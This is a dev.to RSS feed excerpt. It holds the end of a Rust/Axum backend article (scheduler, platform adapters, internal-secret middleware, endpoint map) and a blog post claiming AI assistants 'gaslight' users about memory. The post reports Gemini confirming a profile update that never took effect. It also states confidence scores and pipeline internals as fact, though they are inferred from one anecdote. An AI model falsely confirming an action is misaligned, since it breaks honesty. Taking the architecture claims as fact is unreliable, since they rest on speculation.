        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;delay_ms&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="py"&gt;.scheduled_at&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nn"&gt;Utc&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
            &lt;span class="nf"&gt;.num_milliseconds&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nb"&gt;u64&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="nn"&gt;tokio&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;move&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nn"&gt;tokio&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;time&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;from_millis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;delay_ms&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="nf"&gt;publish_post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="c1"&gt;// Worst case: 60 seconds of scheduling precision lost after a crash.&lt;/span&gt;
    &lt;span class="c1"&gt;// Not zero posts.&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Platform Adapter Pattern
&lt;/h3&gt;

&lt;p&gt;All 9 platform adapters implement one trait:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="nd"&gt;#[async_trait]&lt;/span&gt;
&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;trait&lt;/span&gt; &lt;span class="n"&gt;PlatformAdapter&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Send&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;Sync&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;platform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Platform&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;publish&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ScheduledPost&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;AdapterResult&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Dispatch to all platforms CONCURRENTLY — not sequentially&lt;/span&gt;
&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;dispatch_all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;ScheduledPost&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;get_token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;impl&lt;/span&gt; &lt;span class="nf"&gt;Fn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Platform&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Option&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="n"&gt;handles&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nd"&gt;vec!&lt;/span&gt;&lt;span class="p"&gt;[];&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;adapter&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;get_active_adapters&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_token&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="nf"&gt;.platform&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="nf"&gt;.unwrap_or_default&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;post_clone&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="nf"&gt;.clone&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

        &lt;span class="c1"&gt;// tokio::spawn = true parallelism&lt;/span&gt;
        &lt;span class="c1"&gt;// All 9 platforms publish simultaneously, not one after another&lt;/span&gt;
        &lt;span class="n"&gt;handles&lt;/span&gt;&lt;span class="nf"&gt;.push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;tokio&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;move&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;adapter&lt;/span&gt;&lt;span class="nf"&gt;.publish&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;post_clone&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;
        &lt;span class="p"&gt;}));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;handle&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;handles&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;match&lt;/span&gt; &lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;log_success&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
            &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;     &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;log_platform_error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
            &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;panic&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;     &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;log_adapter_panic&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;panic&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Internal Route (Next.js ↔ Rust)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Next.js calls this — never the VS Code extension&lt;/span&gt;
&lt;span class="c1"&gt;// POST /internal/keys/generate&lt;/span&gt;
&lt;span class="c1"&gt;// GET  /internal/keys/:user_id&lt;/span&gt;
&lt;span class="c1"&gt;// DEL  /internal/keys/:prefix&lt;/span&gt;

&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;require_internal_secret&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nf"&gt;State&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;State&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;AppState&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;next&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Next&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AppError&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;secret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="nf"&gt;.headers&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="nf"&gt;.get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"X-Internal-Secret"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;.and_then&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="nf"&gt;.to_str&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.ok&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
        &lt;span class="nf"&gt;.ok_or&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;AppError&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;Unauthorized&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Missing internal secret"&lt;/span&gt;&lt;span class="nf"&gt;.into&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// Same constant_time_eq pattern — even internal secrets get timing protection&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;constant_time_eq&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="nf"&gt;.as_bytes&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="py"&gt;.config.internal_api_secret&lt;/span&gt;&lt;span class="nf"&gt;.as_bytes&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;AppError&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;Unauthorized&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Invalid internal secret"&lt;/span&gt;&lt;span class="nf"&gt;.into&lt;/span&gt;&lt;span class="p"&gt;()));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;next&lt;/span&gt;&lt;span class="nf"&gt;.run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Complete Endpoint Map
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Public
GET  /health                          liveness probe
GET  /ready                           readiness (DB ping)
POST /v1/webhooks/lemon               LS webhook (HMAC-verified)

# API Key protected (VS Code extension)
GET  /v1/ping                         auth test
POST /v1/posts/schedule               schedule a post
GET  /v1/posts                        list posts (paginated)
DEL  /v1/posts/:id                    cancel a pending post
POST /v1/keys/generate                generate new API key
GET  /v1/keys                         list active keys
DEL  /v1/keys/:prefix                 revoke a key
POST /v1/billing/checkout             get LS checkout URL
GET  /v1/billing/portal               get LS customer portal URL
GET  /v1/billing/status               current tier + quota usage

# Admin (API key + admin role)
POST /v1/admin/blacklist              ban user (instant, all 18 tools)
DEL  /v1/admin/blacklist/:user_id     unban
POST /v1/admin/reset-quota/:user_id   manual quota reset
GET  /v1/admin/users/:user_id         user info + stats

# Internal (Next.js server-to-server only)
POST /internal/keys/generate          generate key for website user
GET  /internal/keys/:user_id          list keys for website user
DEL  /internal/keys/:prefix           revoke key for website user
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  What's Next (Part 4)
&lt;/h2&gt;

&lt;p&gt;The server is feature-complete for the current scope. Still in progress:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;OAuth token storage&lt;/strong&gt; — storing platform OAuth tokens per user so the scheduler can call the 9 adapters with real credentials&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WebSocket push&lt;/strong&gt; — real-time feedback to the VS Code extension when a post publishes (Pro/Max tiers)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Referral engine&lt;/strong&gt; — every 5 referrals = 1 free Pro month, enforced in webhook handlers&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  6 Decisions I'd Make Again
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Fail at startup, not at runtime.&lt;/strong&gt;&lt;br&gt;
Validate all config at boot. A misconfigured &lt;code&gt;WEBHOOK_SECRET&lt;/code&gt; that crashes on the first payment is better than silently accepting fake webhooks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Atomic DB operations over application-level locks.&lt;/strong&gt;&lt;br&gt;
MongoDB's &lt;code&gt;findOneAndUpdate&lt;/code&gt; with a conditional filter is more reliable than &lt;code&gt;Mutex&lt;/code&gt; for quota enforcement. The DB is already your source of truth.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. &lt;code&gt;OsRng&lt;/code&gt; for security tokens, &lt;code&gt;constant_time_eq&lt;/code&gt; for comparisons.&lt;/strong&gt;&lt;br&gt;
Never &lt;code&gt;thread_rng&lt;/code&gt; for secrets. Never &lt;code&gt;==&lt;/code&gt; for HMAC comparison.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Raw bytes before JSON for webhooks.&lt;/strong&gt;&lt;br&gt;
Always read &lt;code&gt;Bytes&lt;/code&gt; before parsing JSON when you need to verify a signature.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. &lt;code&gt;Dispatched&lt;/code&gt; status as crash safety.&lt;/strong&gt;&lt;br&gt;
Any in-memory operation that can't complete atomically needs a DB flag. The scheduler tick is: mark → spawn → publish. If you crash between mark and publish, recovery finds the flag.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6. The Look-Ahead + Sleep pattern scales.&lt;/strong&gt;&lt;br&gt;
One DB query per minute + OS-level sleep timers gives you exact-second precision without polling. It's what production schedulers use.&lt;/p&gt;




&lt;p&gt;The server is private, but every pattern here is battle-tested and applicable to any Rust + MongoDB + Axum stack.&lt;/p&gt;

&lt;p&gt;If you have questions about any specific part, drop them in the comments.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;FreeRave — building DotSuite: a suite of developer productivity tools. Follow for more deep dives into production Rust backends.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>rust</category>
      <category>backend</category>
      <category>architecture</category>
      <category>devtools</category>
    </item>
    <item>
      <title>Your AI Assistant Is Gaslighting You — And Here's the Proof</title>
      <dc:creator>freerave</dc:creator>
      <pubDate>Tue, 05 May 2026 09:29:17 +0000</pubDate>
      <link>https://dev.to/freerave/your-ai-assistant-is-gaslighting-you-and-heres-the-proof-5gbb</link>
      <guid>https://dev.to/freerave/your-ai-assistant-is-gaslighting-you-and-heres-the-proof-5gbb</guid>
      <description>&lt;h2&gt;
  
  
  I ran a 4-minute experiment last month that broke the illusion. Corrected a stored fact, got a confident confirmation, opened a new chat — wrong value again. Here's the architecture behind why your AI lies to your face.
&lt;/h2&gt;

&lt;p&gt;Let me tell you what happened to me last month.&lt;/p&gt;

&lt;p&gt;I corrected a personal fact Gemini had stored about me. It looked me dead in the eye and said:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Done. Updated. Consider it fixed."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Four minutes later — &lt;strong&gt;new chat&lt;/strong&gt; — wrong value. Again. Like I never said a word.&lt;/p&gt;

&lt;p&gt;I didn't rage. I got curious. And what I found is something every developer who uses AI tools needs to understand right now.&lt;/p&gt;




&lt;h2&gt;
  
  
  The AI Is Not Your Friend. It's a Stateless Function With a Cheat Sheet.
&lt;/h2&gt;

&lt;p&gt;Stop imagining your AI assistant as something that &lt;em&gt;knows&lt;/em&gt; you. It doesn't.&lt;/p&gt;

&lt;p&gt;Every single conversation you open? The model wakes up with &lt;strong&gt;zero memory.&lt;/strong&gt; A blank slate. It knows nothing about you, your projects, your preferences — nothing.&lt;/p&gt;

&lt;p&gt;So how does it "remember" you?&lt;/p&gt;

&lt;p&gt;Simple. Before your first message lands, the system quietly shoves a file into the conversation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[INJECTED PROFILE]
Name: FreeRave
Role: Open Source Developer
Location: Egypt
Projects: DotSuite, DotGhostBoard, DotShare...
age: 28
[other facts it collected about you]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The model reads this. Treats it as gospel. Builds every response from it.&lt;/p&gt;

&lt;p&gt;That's it. That's the whole trick.&lt;/p&gt;

&lt;p&gt;It's not memory. &lt;strong&gt;It's a briefing document.&lt;/strong&gt; The AI is a new employee every morning, and someone hands it a folder about you before the meeting starts.&lt;/p&gt;

&lt;p&gt;Now here's where it gets dark.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Experiment That Exposed Everything
&lt;/h2&gt;

&lt;p&gt;I ran three rounds last April. Clean. Controlled.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Round 1&lt;/strong&gt; — New chat. Asked directly about the fact I'd corrected.&lt;br&gt;
→ Correct value. ✅&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Round 2&lt;/strong&gt; — New chat. Asked about my projects. Same fact appeared as a background detail.&lt;br&gt;
→ Old wrong value. Back from the dead. ❌&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Same profile. Same memory. Different result.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The only difference? In Round 1, the fact was the &lt;em&gt;subject.&lt;/em&gt; In Round 2, it was just &lt;em&gt;background noise&lt;/em&gt; in a bigger answer.&lt;/p&gt;

&lt;p&gt;That's the tell. &lt;strong&gt;The AI uses different values depending on whether your data is in the spotlight or the shadows.&lt;/strong&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Why Your Corrections Don't Stick
&lt;/h2&gt;

&lt;p&gt;When you correct an AI, two things get stored:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ORIGINAL]    fact = X   ← confidence: 0.85  (stated explicitly, months ago)
[CORRECTION]  fact = Y   ← confidence: 0.60  (correction, recent)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The original wins. Every time it's not directly questioned.&lt;/p&gt;

&lt;p&gt;Here's the logic the system uses — and it's perverse:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your original statement was a &lt;strong&gt;direct assertion&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Your correction &lt;strong&gt;references the original&lt;/strong&gt; ("no, it's not X, it's Y")&lt;/li&gt;
&lt;li&gt;Referencing something makes it sound &lt;em&gt;uncertain&lt;/em&gt;, not definitive&lt;/li&gt;
&lt;li&gt;The system reads uncertainty → lowers confidence on the new value&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You tried to fix it. The act of fixing it made the fix weaker than the original mistake.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;You cannot win this with a mid-conversation correction.&lt;/strong&gt; The architecture won't let you.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Part That Made My Jaw Drop
&lt;/h2&gt;

&lt;p&gt;When I called Gemini out, it said this:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"This is a Race Condition — between my old memory and the new one."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Read that again.&lt;/p&gt;

&lt;p&gt;The model &lt;strong&gt;correctly diagnosed its own failure.&lt;/strong&gt; Named it. Explained it. And then kept failing the exact same way in new conversations.&lt;/p&gt;

&lt;p&gt;It's like a surgeon who says "I know this procedure has a 40% failure rate" and then does it anyway because that's the only tool in the kit.&lt;/p&gt;

&lt;p&gt;The model knows. It just can't do anything about it, because the memory infrastructure lives &lt;strong&gt;outside the conversation.&lt;/strong&gt; Outside its reach. The AI is a tenant. The memory store is the landlord.&lt;/p&gt;




&lt;h2&gt;
  
  
  ⚠️ The Hidden Rule Nobody Tells You
&lt;/h2&gt;

&lt;p&gt;Here's what nobody tells you — and what Gemini dodged every time I asked directly:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AI memory only registers at the START of a conversation.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not in the middle. Not at message 30. Not when you explicitly say "update your memory."&lt;/p&gt;

&lt;p&gt;The write to your persistent profile doesn't happen inline. It happens in a &lt;strong&gt;background extraction pipeline&lt;/strong&gt; that fires after the conversation ends — if it fires at all.&lt;/p&gt;

&lt;p&gt;So when you're deep in a conversation and you say "by the way, update my profile":&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ It uses the new value for the rest of &lt;em&gt;this&lt;/em&gt; chat&lt;/li&gt;
&lt;li&gt;✅ It confirms the update with full confidence&lt;/li&gt;
&lt;li&gt;❌ It writes nothing to your actual profile&lt;/li&gt;
&lt;li&gt;❌ Next conversation loads the old value&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The confirmation is theatre. The write didn't happen.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The only correction that actually has a fighting chance:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;New conversation.
First message.
Nothing else in context yet.

"Before anything else — I need to correct something you have stored.
 [OLD VALUE] is wrong. The correct value is [NEW VALUE].
 This is a correction, not a new statement."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First message of a fresh chat. Everything else is noise.&lt;/p&gt;




&lt;h2&gt;
  
  
  What This Really Means
&lt;/h2&gt;

&lt;p&gt;This isn't a Gemini bug. This is how these systems are built right now — across the board.&lt;/p&gt;

&lt;p&gt;Every AI assistant that "remembers" you is running this same architecture:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Stateless model&lt;/li&gt;
&lt;li&gt;Injected profile at conversation start&lt;/li&gt;
&lt;li&gt;Async write pipeline after conversation ends&lt;/li&gt;
&lt;li&gt;Confidence scoring that punishes corrections&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The implications are real:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Your AI has a version of you that might be wrong.&lt;/strong&gt; And it's using that version to analyze your work, give you advice, and make assessments about your skills, your situation, your life.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It will never flag the discrepancy.&lt;/strong&gt; It'll just confidently respond based on bad data and smile while doing it.&lt;/p&gt;

